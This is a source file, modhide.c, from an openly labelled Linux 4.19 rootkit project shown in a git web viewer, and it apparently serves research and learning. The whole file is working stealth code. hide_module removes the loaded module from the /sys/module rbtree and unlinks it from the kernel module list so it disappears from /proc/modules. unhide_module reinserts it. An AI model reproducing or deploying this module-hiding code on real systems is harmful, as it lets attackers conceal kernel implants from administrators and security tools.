linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

modhide.c (2382B)


      1 #include <linux/kernfs.h>
      2 #include <linux/module.h>
      3 #include <linux/rbtree.h>
      4 #include <linux/list.h>
      5 #include <linux/hash.h>
      6 
      7 #include "common.h"
      8 #include "modhide.h"
      9 
     10 static struct list_head *mod;
     11 
     12 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334
     13 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71
     14 void
     15 hide_module(void)
     16 {
     17     struct kernfs_node *sd;
     18 
     19     if (mod)
     20         return;
     21 
     22     mod = THIS_MODULE->list.prev;
     23 
     24     // sysfs directory entry
     25     sd = THIS_MODULE->mkobj.kobj.sd;
     26 
     27     // Remove from the rbtree of modules (/sys/module/)
     28     rb_erase(&sd->rb, &sd->parent->dir.children);
     29 
     30     // Remove from the list of modules (/proc/modules)
     31     list_del(&THIS_MODULE->list);
     32 }
     33 
     34 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334
     35 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71
     36 void
     37 unhide_module(void)
     38 {
     39     struct kernfs_node *sd;
     40     struct rb_root *root;
     41     struct rb_node *parent;
     42     struct rb_node **new;
     43 
     44     if (!mod)
     45         return;
     46 
     47     sd = THIS_MODULE->mkobj.kobj.sd;
     48     root = &sd->parent->dir.children;
     49     new = &root->rb_node;
     50     parent = NULL;
     51 
     52     // Add back to the list of modules (/proc/modules)
     53     list_add(&THIS_MODULE->list, mod);
     54 
     55     { // Insert our module back into the rbtree of modules (/sys/module/)
     56         // Search for the place to insert, insert, then rebalance tree,
     57         // as per https://www.kernel.org/doc/Documentation/rbtree.txt
     58         while (*new) {
     59             int cmp;
     60             struct kernfs_node *rb;
     61 
     62             parent = *new;
     63             rb = rb_entry(*new, struct kernfs_node, rb);
     64 
     65             // https://elixir.bootlin.com/linux/v4.19/source/fs/kernfs/dir.c#L314
     66             // Recurse toward insert position based on 1. hash,
     67             // 2. (upon collision) namespace, and 3. (otherwise) name
     68             cmp = (sd->hash == rb->hash)
     69                 ? ((sd->ns == rb->ns)
     70                     ? strcmp(sd->name, rb->name)
     71                     : sd->ns - rb->ns)
     72                 : sd->hash - rb->hash;
     73 
     74             if (cmp < 0)
     75                 new = &((*new)->rb_left);
     76             else if (cmp > 0)
     77                 new = &((*new)->rb_right);
     78             else
     79                 return;
     80         }
     81 
     82         rb_link_node(&sd->rb, parent, new);
     83         rb_insert_color(&sd->rb, root);
     84     }
     85 
     86     mod = NULL;
     87 }